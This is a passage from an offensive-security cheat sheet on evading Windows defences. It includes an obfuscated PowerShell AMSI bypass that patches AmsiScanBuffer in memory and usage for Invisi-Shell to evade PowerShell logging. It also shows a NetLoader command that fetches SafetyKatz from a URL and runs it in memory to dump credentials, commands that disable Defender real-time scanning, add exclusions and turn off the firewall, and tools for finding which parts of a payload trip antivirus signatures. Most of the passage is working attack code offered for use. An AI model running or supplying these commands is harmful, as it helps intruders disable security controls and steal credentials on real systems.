{% endtab %}
{% endtabs %}
### .NET AMSI Bypass
```powershell
$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ZQCUW
$BBWHVWQ = [ZQCUW]::LoadLibrary("$([SYstem.Net.wEBUtIlITy]::HTmldecoDE('amsi.dll'))")
$XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ, "$([systeM.neT.webUtility]::HtMldECoDE('AmsiScanBuffer'))")
$p = 0
[ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p)
$TLML = "0xB8"
$PURX = "0x57"
$YNWL = "0x00"
$RTGX = "0x07"
$XVON = "0x80"
$WRUD = "0xC3"
$KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)
[System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)
```
### Invisi-Shell
{% embed url="" %}
Invisi-Shell bypasses all of PowerShell security features (ScriptBlock logging, Module logging, Transcription, AMSI) by hooking
Usage
```powershell
# With admin privileges:
RunWithPathAsAdmin.bat
# More Silent
# With non-admin privileges:
RunWithRegistryNonAdmin.bat
# Type exit from the new PowerShell session to complete the clean-up.
exit
```
### Loader
use [`NetLoader` ](https://github.com/Flangvik/NetLoader)to unhook ETW and patch AMSI then run executable from URL without saving
```powershell
NetLoader.exe -path http://127.0.0.1:8080/SafetyKatz.exe sekurlsa::ekeys exit
```
## Windows Defender
> **Note:** If Tamper protection is enabled you will not be able to turn off Defender by CMD or PowerShell. You can however, still create an exclusion.
Disable real time monitoring
```powershell
Set-MpPreference -DisableRealtimeMonitoring $true
```
Disable scanning for downloaded files (more silent and preferred)
```powershell
Set-MpPreference -DisableIOAVProtection $true
```
Create an exclusion
```powershell
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
```
## Firewall
> **Note:** requires Admin privileges.
Disable using PowerShell
```powershell
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
```
Disable manually
## AV Signatures Bypass
### AMSITrigger
identify the part of a script is detected
{% embed url="" %}
AMSITrigger
{% endembed %}
usage
```powershell
AmsiTrigger_x64.exe -i PowerUp.ps1
```
Example for scanning
Example for bypassing
### DefenderChecker
Identify code and strings from a binary / file that Windows Defender may flag
{% embed url="" %}
DefenderChecker
{% endembed %}
usage
```powershell
DefenderCheck.exe PowerUp.ps1
```
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